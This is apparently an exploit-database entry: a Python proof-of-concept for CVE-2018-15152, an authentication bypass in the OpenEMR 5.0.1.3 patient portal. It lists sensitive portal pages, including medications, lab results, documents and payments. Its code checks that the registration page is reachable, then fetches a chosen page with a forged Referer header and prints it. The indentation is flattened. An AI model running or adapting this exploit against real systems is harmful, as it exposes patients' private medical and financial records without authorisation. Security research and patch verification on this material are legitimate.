OpenEMR 5.0.1.3 Authentication Bypass

`# Exploit Title: OpenEMR 5.0.1.3 - '/portal/account/register.php' Authentication Bypass  
# Date 15.06.2021  
# Exploit Author: Ron Jost (Hacker5preme)  
# Vendor Homepage: https://www.open-emr.org/  
# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_3.zip  
# Version: All versions prior to 5.0.1.4  
# Tested on: Ubuntu 18.04  
# CVE: CVE-2018-15152  
# CWE: CWE-287  
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2018-15152-Exploit  
  
'''  
Description:  
An unauthenticated user is able to bypass the Patient Portal Login by simply navigating to  
the registration page and modifying the requested url to access the desired page. Some  
examples of pages in the portal directory that are accessible after browsing to the  
registration page include:  
- add_edit_event_user.php  
- find_appt_popup_user.php  
- get_allergies.php  
- get_amendments.php  
- get_lab_results.php  
- get_medications.php  
- get_patient_documents.php  
- get_problems.php  
- get_profile.php  
- portal_payment.php  
- messaging/messages.php  
- messaging/secure_chat.php  
- report/pat_ledger.php  
- report/portal_custom_report.php  
- report/portal_patient_report.php  
Normally, access to these pages requires authentication as a patient. If a user were to visit  
any of those pages unauthenticated, they would be redirected to the login page.  
'''  
  
  
'''  
Import required modules:  
'''  
import requests  
import argparse  
  
  
'''  
User-Input:  
'''  
my_parser = argparse.ArgumentParser(description='OpenEMR Authentication bypass')  
my_parser.add_argument('-T', '--IP', type=str)  
my_parser.add_argument('-P', '--PORT', type=str)  
my_parser.add_argument('-U', '--Openemrpath', type=str)  
my_parser.add_argument('-R', '--PathToGet', type=str)  
args = my_parser.parse_args()  
target_ip = args.IP  
target_port = args.PORT  
openemr_path = args.Openemrpath  
pathtoread = args.PathToGet  
  
  
'''  
Check for vulnerability:  
'''  
# Check, if Registration portal is enabled. If it is not, this exploit can not work  
session = requests.Session()  
check_vuln_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/portal/account/register.php'  
check_vuln = session.get(check_vuln_url).text  
print('')  
print('[*] Checking vulnerability: ')  
print('')  
  
if "Enter email address to receive registration." in check_vuln:  
print('[+] Host Vulnerable. Proceeding exploit')  
else:  
print('[-] Host is not Vulnerable: Registration for patients is not enabled')  
  
'''  
Exploit:  
'''  
header = {  
'Referer': check_vuln_url  
}  
exploit_url = 'http://' + target_ip + ':' + target_port + openemr_path + pathtoread  
Exploit = session.get(exploit_url, headers=header)  
print('')  
print('[+] Results: ')  
print('')  
print(Exploit.text)  
print('')  
  
  
  
`